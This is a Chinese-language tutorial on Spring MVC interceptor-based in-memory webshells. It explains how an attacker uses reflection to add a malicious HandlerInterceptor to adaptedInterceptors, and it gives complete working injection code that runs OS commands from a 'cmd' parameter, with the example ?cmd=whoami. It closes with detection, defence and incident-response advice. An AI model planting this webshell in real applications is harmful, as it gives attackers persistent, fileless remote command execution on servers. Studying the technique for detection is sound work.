Java安全之Spring Interceptor内存马
字数 1909 2025-11-02 00:39:25
Spring Interceptor 内存马技术分析与防御指南
一、Spring Interceptor 基础概念
1.1 什么是 Spring Interceptor?
Spring Interceptor 是 Spring MVC 框架提供的拦截机制,用于在请求处理的特定阶段执行自定义逻辑。它类似于 Servlet 的 Filter,但作用于更上层的 MVC 流程中,由 Spring 容器管理。
1.2 核心接口:HandlerInterceptor
开发者需要实现 org.springframework.web.servlet.HandlerInterceptor 接口,重写以下三个关键方法:
preHandle() 方法
boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
- 在控制器方法执行前调用
- 返回值为 boolean 类型:
true: 继续执行后续的拦截器和控制器方法false: 中断流程,不再执行后续操作
- 典型应用:权限校验、日志记录、参数预处理
postHandle() 方法
void postHandle(HttpServletRequest request, HttpServletResponse response,
Object handler, ModelAndView modelAndView)
- 在控制器方法执行完毕后,视图渲染前调用
- 可对 ModelAndView 对象进行修改或添加数据
afterCompletion() 方法
void afterCompletion(HttpServletRequest request, HttpServletResponse response,
Object handler, Exception ex)
- 在整个请求完成后(包括视图渲染)调用
- 主要用于资源清理工作,无论是否发生异常都会执行
1.3 正常注册与使用
通过实现 WebMvcConfigurer 接口注册拦截器:
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new MyCustomInterceptor())
.addPathPatterns("/api/**") // 拦截路径
.excludePathPatterns("/api/public/**"); // 排除路径
}
}
二、Interceptor 内存马攻击原理
2.1 攻击核心机制
关键组件分析
- AbstractHandlerMapping:Spring MVC 中处理请求映射的核心类
- adaptedInterceptors:protected final 字段,存储所有注册的拦截器
- HandlerExecutionChain:每个请求的处理执行链
攻击流程分析
DispatcherServlet → getHandler()
→ mapping.getHandler()
→ getHandlerExecutionChain()
→ 遍历 adaptedInterceptors 把每个 interceptor 加入 chain
2.2 关键代码分析
getHandlerExecutionChain() 方法
protected HandlerExecutionChain getHandlerExecutionChain(Object handler,
HttpServletRequest request) {
HandlerExecutionChain chain = ...;
for (HandlerInterceptor interceptor : this.adaptedInterceptors) {
if (interceptor instanceof MappedInterceptor) {
MappedInterceptor mappedInterceptor = (MappedInterceptor)interceptor;
if (mappedInterceptor.matches(request)) {
chain.addInterceptor(mappedInterceptor.getInterceptor());
}
} else {
chain.addInterceptor(interceptor); // 关键注入点
}
}
return chain;
}
2.3 内存马注入必要条件
- 持久化监听:必须参与每一次请求处理
- 进入 HandlerExecutionChain:恶意拦截器必须出现在处理链中
- 注入 adaptedInterceptors:必须修改全局拦截器列表
- 获取 RequestMappingHandlerMapping 实例:从 Spring 容器中获取正在运行的实例
三、内存马完整实现代码
3.1 恶意拦截器实现
public static class MaliciousInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
// 命令执行逻辑
Runtime.getRuntime().exec(cmd);
}
return HandlerInterceptor.super.preHandle(request, response, handler);
}
}
3.2 注入控制器
@RestController
public class InterceptorShell {
@RequestMapping("/inject")
public String inject() {
// 1. 获取 WebApplicationContext
WebApplicationContext context = (WebApplicationContext)
RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 获取 RequestMappingHandlerMapping 实例
RequestMappingHandlerMapping rmhm = context.getBean(RequestMappingHandlerMapping.class);
try {
// 3. 反射访问 adaptedInterceptors 字段
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
// 4. 获取并修改拦截器列表
List<HandlerInterceptor> interceptors =
(List<HandlerInterceptor>) field.get(rmhm);
interceptors.add(new MaliciousInterceptor());
} catch (NoSuchFieldException | IllegalAccessException e) {
throw new RuntimeException(e);
}
return "inject success";
}
}
四、攻击执行流程详解
4.1 注入阶段
- 漏洞触发:通过反序列化、SpEL 注入等方式获得代码执行权限
- 上下文获取:利用
RequestContextHolder获取当前请求的 WebApplicationContext - Bean 获取:从容器中获取
RequestMappingHandlerMapping实例 - 反射修改:通过反射将恶意拦截器添加到
adaptedInterceptors列表
4.2 命令执行阶段
- 用户请求:访问任意路径并携带命令参数(如
/index.html?cmd=whoami) - 拦截器触发:
DispatcherServlet.doDispatch()处理请求- 创建
HandlerExecutionChain时包含恶意拦截器 applyPreHandle()调用恶意拦截器的preHandle方法
- 命令执行:通过
Runtime.exec()执行系统命令
五、检测与防御方案
5.1 检测方法
静态检测
// 检查 adaptedInterceptors 中的可疑拦截器
public void checkInterceptors() {
RequestMappingHandlerMapping rmhm = ...;
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> interceptors = (List<HandlerInterceptor>) field.get(rmhm);
for (HandlerInterceptor interceptor : interceptors) {
if (interceptor.getClass().getName().contains("Malicious")) {
// 发现可疑拦截器
}
}
}
动态监控
- 监控 Runtime.exec() 等敏感方法的调用栈
- 检查拦截器列表中新增的未知拦截器
5.2 防御措施
代码层面
- 输入验证:严格校验所有用户输入
- 安全编码:避免使用危险的反射操作
- 权限控制:限制敏感方法的访问权限
配置层面
- 安全加固:禁用不必要的反射功能
- 监控告警:部署 RASP 进行运行时保护
- 定期审计:检查拦截器配置和代码变更
5.3 应急响应
- 立即隔离:断开受影响系统的网络连接
- 内存分析:使用内存分析工具检测恶意代码
- 清除恢复:重启服务并修复安全漏洞
- 溯源分析:确定攻击入口和影响范围
六、总结
Spring Interceptor 内存马是一种危害性极大的持久化攻击技术,攻击者通过反射机制修改 Spring MVC 的核心组件,实现无文件落地的远程命令执行。理解其工作原理对于安全防护至关重要,安全团队应加强对此类攻击的检测和防御能力。
关键防护要点:
- 严格控制反射操作的使用
- 加强运行时安全监控
- 定期进行安全代码审计
- 建立完善的安全应急响应机制